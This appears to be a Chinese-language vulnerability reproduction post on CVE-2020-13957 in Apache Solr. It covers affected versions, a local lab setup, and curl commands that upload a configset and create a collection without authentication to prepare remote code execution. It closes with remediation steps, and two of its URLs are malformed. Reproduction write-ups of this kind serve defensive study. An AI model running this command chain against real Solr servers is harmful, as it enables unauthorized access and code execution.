1. 程式人生 > 其它 >CVE-2020-13957 Apache Solr未授權上傳漏洞復現

CVE-2020-13957 Apache Solr未授權上傳漏洞復現

0x01 漏洞概述

Apache Solr是美國阿帕奇(Apache)軟體基金會的一款基於Lucene(一款全文搜尋引擎)的搜尋伺服器。該產品支援層面搜尋、垂直搜尋、高亮顯示搜尋結果等。

Apache Solr 存在檔案上傳安全漏洞,該漏洞源於缺少必要的身份驗證,攻擊者可利用該漏洞遠端程式碼執行。

0x02 影響版本

Apache Solr:

6.6.0 - 6.6.6

7.0.0 - 7.7.3

8.0.0 - 8.6.2

0x03 環境搭建

  • windows10 x64
  • jdk 1.8.0

①下載solr 7.0.1版本

  http://archive.apache.org/dist/lucene/solr/7.0.1/

  

②在解壓好的bin目錄下執行

  solr.cmd start -c

③瀏覽器訪問檢視

  IP+埠8983即可訪問

  環境搭建完畢。

0x04 漏洞復現

①將solr目錄\server\solr\configsets\_default\conf下的solrconfig.xml中的params.resource.loader.enabled修改為true。(為遠端命令執行做準備)

②將conf目錄檔案打包成zip並上傳

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf.zip "
http://192.168.114.180:8983/solr/admin/configs?action=UPLOAD&name=file1"

根據UPLOAD的配置,建立一個新的配置,繞過不能通過直接UPLOAD建立collection的限制

curl "http:/192.168.114.180:8983/solr/admin/configs?action=CREATE&name=file3&baseConfigSet=file1&configSetProp.immutable=false&wt=xml&omitHeader=true"

根據CREATE得到的新configset建立惡意collection

curl "http:/192.168.114.180:8983/solr/admin/collections?action=CREATE&numShards=1&name=file2&collection.configName=file3"

利用已上傳的collection進行遠端命令執行

0x05 修復建議

升級Solr至最新版本

②通過設定系統屬性來禁用 ConfigSets API 中的 UPLOAD 命令:{{configset.upload.enabled}} 到 {{false}}

③使用身份驗證/授權並確保不允許未知請求